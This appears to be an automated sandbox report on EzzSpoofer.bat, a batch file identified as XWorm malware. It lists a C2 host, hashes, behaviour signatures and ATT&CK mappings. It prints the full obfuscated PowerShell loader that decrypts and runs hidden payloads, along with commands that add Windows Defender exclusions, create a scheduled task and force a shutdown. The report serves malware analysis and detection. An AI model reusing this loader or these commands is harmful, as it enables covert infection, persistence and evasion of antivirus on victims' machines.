Analysis
-
max time kernel
179s -
max time network
180s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
24-01-2025 14:38
Static task
static1
Behavioral task
behavioral1
Sample
EzzSpoofer.bat
Resource
win10v2004-20241007-en
windows10-2004-x64
25 signatures
150 seconds
General
-
Target
EzzSpoofer.bat
-
Size
291KB
-
MD5
93ed121ccdb1d03be4f5fa2013de563d
-
SHA1
d727b44d67723f8d2ee886b727d1b49c0b61d88c
-
SHA256
fb3ede897d32b7d8a9b16fa2fb1ee1648fceb49bc253f65984708c58f6454bcd
-
SHA512
0efa1904eef1a0b9ac925b9ef5b5255d37aff31b7f047f038ec780069b5042e1cf17f5fbb3ada53cee2e056eeb085932292d4859bc02b5f89a32b810e200373a
-
SSDEEP
6144:4yWQ3Hb62YBTYYzGeYSXl7TuvwX/oSmp1FBNh:4o6zTN6efzYFTh
Malware Config
Extracted
Family
xworm
C2
IDKTOBEHONESTNIGAS-56344.portmap.io:56344
Attributes
-
Install_directory
%ProgramData%
Signatures
-
Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/1040-99-0x000002466B040000-0x000002466B04C000-memory.dmp disable_win_def -
Detect Xworm Payload 1 IoCs
resource yara_rule behavioral1/memory/1040-15-0x000002466A980000-0x000002466A998000-memory.dmp family_xworm -
Xworm family
-
Blocklisted process makes network request 64 IoCs
flow pid Process 17 1040 powershell.exe 25 1040 powershell.exe 26 1040 powershell.exe 30 1040 powershell.exe 31 1040 powershell.exe 34 1040 powershell.exe 36 1040 powershell.exe 37 1040 powershell.exe 38 1040 powershell.exe 39 1040 powershell.exe 40 1040 powershell.exe 41 1040 powershell.exe 42 1040 powershell.exe 43 1040 powershell.exe 44 1040 powershell.exe 56 1040 powershell.exe 57 1040 powershell.exe 59 1040 powershell.exe 60 1040 powershell.exe 61 1040 powershell.exe 62 1040 powershell.exe 63 1040 powershell.exe 64 1040 powershell.exe 65 1040 powershell.exe 66 1040 powershell.exe 67 1040 powershell.exe 68 1040 powershell.exe 69 1040 powershell.exe 70 1040 powershell.exe 71 1040 powershell.exe 72 1040 powershell.exe 73 1040 powershell.exe 74 1040 powershell.exe 75 1040 powershell.exe 76 1040 powershell.exe 77 1040 powershell.exe 78 1040 powershell.exe 79 1040 powershell.exe 80 1040 powershell.exe 81 1040 powershell.exe 82 1040 powershell.exe 83 1040 powershell.exe 84 1040 powershell.exe 88 1040 powershell.exe 89 1040 powershell.exe 91 1040 powershell.exe 92 1040 powershell.exe 93 1040 powershell.exe 94 1040 powershell.exe 95 1040 powershell.exe 96 1040 powershell.exe 97 1040 powershell.exe 98 1040 powershell.exe 99 1040 powershell.exe 100 1040 powershell.exe 101 1040 powershell.exe 102 1040 powershell.exe 103 1040 powershell.exe 104 1040 powershell.exe 105 1040 powershell.exe 106 1040 powershell.exe 107 1040 powershell.exe 108 1040 powershell.exe 109 1040 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell and hide display window.
pid Process 1040 powershell.exe 3856 powershell.exe 3028 powershell.exe 2784 powershell.exe -
Disables Task Manager via registry modification
-
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk powershell.exe -
Executes dropped EXE 2 IoCs
pid Process 1320 powershell.exe 1516 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\powershell = "C:\\ProgramData\\powershell.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 16 ip-api.com -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier powershell.exe -
Enumerates system info in registry 2 TTPs 4 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSReleaseDate powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName powershell.exe -
Modifies data under HKEY_USERS 15 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "59" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe -
Modifies registry class 5 IoCs
description ioc Process Set value (data) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots taskmgr.exe Set value (data) \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell taskmgr.exe Key created \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU taskmgr.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2576 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1040 powershell.exe 1040 powershell.exe 2784 powershell.exe 2784 powershell.exe 3856 powershell.exe 3856 powershell.exe 3028 powershell.exe 3028 powershell.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1320 powershell.exe 1320 powershell.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1032 taskmgr.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
description pid Process Token: SeDebugPrivilege 1040 powershell.exe Token: SeDebugPrivilege 2784 powershell.exe Token: SeDebugPrivilege 3856 powershell.exe Token: SeDebugPrivilege 3028 powershell.exe Token: SeDebugPrivilege 1040 powershell.exe Token: SeDebugPrivilege 1032 taskmgr.exe Token: SeSystemProfilePrivilege 1032 taskmgr.exe Token: SeCreateGlobalPrivilege 1032 taskmgr.exe Token: SeDebugPrivilege 1320 powershell.exe Token: SeDebugPrivilege 1516 powershell.exe Token: SeShutdownPrivilege 1112 shutdown.exe Token: SeRemoteShutdownPrivilege 1112 shutdown.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe 1032 taskmgr.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 5060 LogonUI.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 4020 wrote to memory of 1040 4020 cmd.exe 85 PID 4020 wrote to memory of 1040 4020 cmd.exe 85 PID 1040 wrote to memory of 2784 1040 powershell.exe 90 PID 1040 wrote to memory of 2784 1040 powershell.exe 90 PID 1040 wrote to memory of 3856 1040 powershell.exe 93 PID 1040 wrote to memory of 3856 1040 powershell.exe 93 PID 1040 wrote to memory of 3028 1040 powershell.exe 95 PID 1040 wrote to memory of 3028 1040 powershell.exe 95 PID 1040 wrote to memory of 2576 1040 powershell.exe 99 PID 1040 wrote to memory of 2576 1040 powershell.exe 99 PID 1040 wrote to memory of 1112 1040 powershell.exe 121 PID 1040 wrote to memory of 1112 1040 powershell.exe 121 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EzzSpoofer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('HRQ080yVZGdRTztrvWAk69rjJhJ8kv24JyK45A33s78='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n3lZXCHFrDZlOdX5Klqj/Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dkXat=New-Object System.IO.MemoryStream(,$param_var); $gioHA=New-Object System.IO.MemoryStream; $wjXbY=New-Object System.IO.Compression.GZipStream($dkXat, [IO.Compression.CompressionMode]::Decompress); $wjXbY.CopyTo($gioHA); $wjXbY.Dispose(); $dkXat.Dispose(); $gioHA.Dispose(); $gioHA.ToArray();}function execute_function($param_var,$param2_var){ $YESOI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $nNHFI=$YESOI.EntryPoint; $nNHFI.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EzzSpoofer.bat';$pOAZp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EzzSpoofer.bat').Split([Environment]::NewLine);foreach ($bDcuD in $pOAZp) { if ($bDcuD.StartsWith(':: ')) { $DRffE=$bDcuD.Substring(3); break; }}$payloads_var=[string[]]$DRffE.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Adds Run key to start application
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1040 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2784
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3856
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\powershell.exe'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3028
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "powershell" /tr "C:\ProgramData\powershell.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2576
-
-
C:\Windows\SYSTEM32\shutdown.exeshutdown.exe /f /s /t 03⤵
- Suspicious use of AdjustPrivilegeToken
PID:1112
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1032
-
C:\ProgramData\powershell.exeC:\ProgramData\powershell.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1320
-
C:\ProgramData\powershell.exeC:\ProgramData\powershell.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1516
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:2712
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa388c855 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5060
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
2KB
MD56e6d88960a2258f4590e97c382884634
SHA1244736513d2d071227c3df04532e67c818e7c9cd
SHA25684cc5d85e71eed874541bd9724ebec8827a12b730b72bd8040fec29ab8a37a50
SHA512d2d5d9aa3fb3b9ac0984f2d06da26c857f6d5479a41caa6b54e04e59b9682283219223a7b217cb9e719bad57381030aa87a9b92a6ed15d865f6d6b1eb96bce2b
-
Filesize
944B
MD5bd5940f08d0be56e65e5f2aaf47c538e
SHA1d7e31b87866e5e383ab5499da64aba50f03e8443
SHA2562d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
SHA512c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406
-
Filesize
944B
MD5dbb22d95851b93abf2afe8fb96a8e544
SHA1920ec5fdb323537bcf78f7e29a4fc274e657f7a4
SHA256e1ee9af6b9e3bfd41b7d2c980580bb7427883f1169ed3df4be11293ce7895465
SHA51216031134458bf312509044a3028be46034c544163c4ca956aee74d2075fbeb5873754d2254dc1d0b573ce1a644336ac4c8bd7147aba100bfdac8c504900ef3fc
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
687B
MD5e1ba2cd776750940a82e3d9c48199103
SHA1f398310c74e105a82a3fc564ff9afa05a4ec0b3b
SHA2561901d44f0b89dd4145b363784528518a41e36db5a92ee7527c16f94c5540a6dc
SHA5123d42a8dfddc09dad7dd7a6cda3199a684d21b2932885acc6823b197e0f9ea2ce046f0b1750d53d2f54c50c7056bb75647e17085e6e352482515ee083f53c50c6